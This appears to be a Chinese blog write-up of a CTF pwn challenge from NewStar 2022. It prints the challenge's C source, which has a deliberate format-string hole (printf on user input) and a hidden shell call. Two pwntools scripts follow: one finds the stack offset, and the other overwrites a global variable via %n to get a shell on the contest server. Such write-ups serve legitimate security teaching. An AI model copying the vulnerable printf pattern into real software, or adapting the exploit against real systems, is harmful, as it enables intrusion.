2022NewStar新生赛week2—砍一刀

先看看开了什么保护机制

打开64位ida看看

一大串的看得令人头大
他给了源码再去看看

#include<stdio.h>
#include<string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
int init();
void game();
void getcard();
void getdiamond();
void success();
int cipher();
int diamond=5;
int init(){
	setvbuf(stdin, 0LL, 2, 0LL);
	setvbuf(stdout, 0LL, 2, 0LL);
	setvbuf(stderr, 0LL, 2, 0LL);
}
void game(){
	float money=0;
	int key=0;
	printf("NewstarCTF送你现金红包啦!\n\n");
	sleep(1.5);
	printf("恭喜你成为幸运星,最高可提现100元红包!\n\n");
	sleep(1.5);
	printf("恭喜你获得一张百元现金卡,使用可以加速领红包!\n\n");
	printf("按回车键使用现金卡……\n\n");
	getchar();
	sleep(1.5);
	printf("成功使用百元现金卡,获得50元现金!\n\n");
	money+=50;
	sleep(1.5);
	printf("今日难度降低,送你30元现金!\n\n");
	money+=30;
	sleep(1.5);
	printf("第一次参加活动,再送你10元现金!\n\n");
	money+=10;
	sleep(1.5);
	printf("感谢你对NewstarCTF的大力支持,再送你9元现金!\n\n");
	money+=9;
	sleep(1.5);
	printf("真棒!仅剩1%%提现红包!\n\n");
	sleep(1.5);
	printf("还有66人正在提现红包,你的提现进度第一,将最先提现!\n\n");
	sleep(1.5);
	printf("回车一下,再砍一刀\n\n");
	getchar();
	sleep(1.5);
	printf("恭喜获得0.45元现金!\n\n");
	sleep(1.5);
	printf("送你现金翻倍卡,更快提现!\n\n");
	sleep(1.5);
	printf("翻倍生效中……成功翻2倍!\n0.45元----->0.9元\n\n");
	money+=0.9;
	sleep(1.5);
	printf("距离提现只有一步之遥啦,输入口令666领取红包!\n");
	cipher();
	printf("\n口令正确,送你0.05元现金!\n\n");
	sleep(1.5);
	printf("翻倍生效中……成功翻2倍!\n0.05元----->0.1元\n\n");
	money+=0.1;
	sleep(1.5);
	printf("恭喜你集齐100元红包!\n\n");
	sleep(1.5);
	printf("赶紧分享给好友庆祝一下吧!\n\n");
	sleep(1.5);
	printf("按回车键分享给好友~\n\n");
	getchar();
	printf("分享成功!\n\n");
	getcard();
}
void getcard(){
	srand((unsigned int)time(NULL));
	int luck=0;
	int coin=0;
	printf("有好友帮你砍一刀,成功获得500金币!\n");
	coin+=500;
	sleep(1.5);
	printf("有好友帮你砍一刀,成功获得400金币!\n");
	coin+=400;
	sleep(1.5);
	printf("=======================================\n");
	printf("集齐1000金币,兑换提现卡,马上提现红包!\n");
	printf("=======================================\n");
	sleep(1.5);
	printf("马上就能兑换提现卡啦,赶紧邀请好友帮你砍一刀吧!\n");
	printf("当前金币:%d个\n\n",coin);
	while(1){
		printf("按回车键邀请好友砍一刀,领取金币~\n");
		getchar();
		sleep(1);
		printf("有好友帮你砍一刀啦!");
		if(coin==999){
			luck=rand()%101;
			if((luck%10)==0){
				printf("==========================================================\n");
				printf("恭喜你触发隐藏福利,集齐10颗钻石兑换1金币,加速兑换提现卡!\n");
				printf("==========================================================\n");
				getdiamond();
			}
			else{
				printf("很遗憾本次未获得金币……\n");
			}
		}
		else{
			if(coin>=900&&coin<990){
				printf("成功获得10金币……\n");
				coin+=10;
			}
			else{
				printf("成功获得1金币……\n");
				coin+=1;
			}
		}
		printf("当前金币:%d个\n\n",coin);
	}
}	
void getdiamond(){
	int luck=0;
	char password[100];
	printf("======================\n");
	printf("你真幸运,送你5颗钻石!\n");
	printf("======================\n");
	sleep(1.5);
	printf("马上就能集齐钻石啦,赶紧邀请好友帮你砍一刀吧!\n\n");
	while(1){
		if(diamond==10){
			success();
		}
		else{
			printf("按回车键邀请好友砍一刀,领取钻石~\n");
			getchar();
			sleep(1);
			printf("有好友帮你砍一刀啦!");
			if(diamond==9){
				luck=rand()%101;
				if((luck%10)==0){
					printf("===============================================================\n");
					printf("你意外触发了隐藏福利!离成功就差一点点啦,输入神秘口令领取钻石!\n");
					printf("===============================================================\n");
					sleep(1);
					printf("输入口令==>");
					init();
					read(0,password,101);
					printf(password);
				}
				else{
					printf("很遗憾本次未获得钻石……\n");
				}
			}
			else{
				printf("成功获得1钻石!\n");
				diamond+=1;
			}
		}
		printf("当前钻石:%d颗\n\n",diamond);
	}
}
void success(){
	printf("===================\n");
	printf("恭喜你集齐10颗钻石!\n");
	printf("===================\n");
	sleep(1.5);
	printf("按回车键兑换金币!\n\n");
	sleep(1.5);
	printf("金币兑换成功!\n\n");
	sleep(1.5);
	printf("===================\n");
	printf("恭喜你集齐1000金币!\n");
	printf("===================\n");
	sleep(1.5);
	printf("按回车键兑换提现卡!\n\n");
	sleep(1.5);
	printf("提现卡兑换成功!\n\n");
	sleep(1.5);
	printf("正在使用提现卡");
	sleep(1.5);
	printf("...");
	sleep(1.5);
	printf("...");
	sleep(1.5);
	printf("...\n");
	sleep(1.5);
	printf("恭喜你成功提现红包!正在飞速转账~");
	sleep(1.5);
	printf("...");
	sleep(1.5);
	printf("...\n");
	printf("转账成功!\n");
	system("/bin/sh");
}
int cipher()
{
	printf("==>");
	int n, judge;
	scanf("%d", &n);
	judge = getchar();
	while(n != 666)
	{
		fflush(stdin);
		printf("口令错误,请重新输入\n==>");
		scanf("%d", &n);
		judge = getchar();
	}
	return n;
}

int main(){
	init();
	game();
}

总的来说呢就是给你一波接着一波的交互,而且这个交互是你输入回车就行,但是这个次数是随机的,所以我们脚本要加while循环,最后的漏洞就是

39行和40行这边有个格式化字符串任地址修改,因为我们需要把diamond这个变量改成10就行了,所以一个格式化字符串任一地址改就好了
接下来上脚本

from pwn import*
#context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p=process('./pwn1')
p=remote('node4.buuoj.cn',28407)
p.send('\x00')
p.send('\x00')
p.recvuntil('==>')
p.sendline(str(666))
while True:
	a=p.recvuntil('~')
	print(a)
	p.send('\x00')
	p.recvline()
	a=p.recvline()
	if "=" in a:
		break
while True:
	a=p.recvuntil(b'~')
	print(a)
	p.send('\x00')
	p.recvline()
	a=p.recvline()
	if "=" in a:
		print(a)
		break
print(p.recvuntil('==>'))
payload=b'cccccccccc%16$nc'+b'%p'*0x18+p64(0x404090)
p.sendline(payload)
print(p.recv())
p.interactive()

有人不明白这个16的偏移怎么算,那么我们来看看,我们知道%p是输出地址的对吧,那么先一堆%p然后看看0x404090是第几个输出的偏移就是几了
用这个脚本

from pwn import*
#context(log_level = 'debug', arch = 'amd64', os = 'linux')
p=process('./pwn1')
#p=remote('node4.buuoj.cn',28407)
p.send('\x00')
p.send('\x00')
p.recvuntil('==>')
p.sendline(str(666))
while True:
	a=p.recvuntil('~')
	print(a)
	p.send('\x00')
	p.recvline()
	a=p.recvline()
	if "=" in a:
		break
while True:
	a=p.recvuntil(b'~')
	print(a)
	p.send('\x00')
	p.recvline()
	a=p.recvline()
	if "=" in a:
		print(a)
		break
print(p.recvuntil('==>'))
payload=b'%p'*0x20+p64(0x404090)
p.sendline(payload)
print(p.recv())
p.interactive()


跑出来数一下偏移就是16

posted @ 2022-10-04 11:04  予柒  阅读(211)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/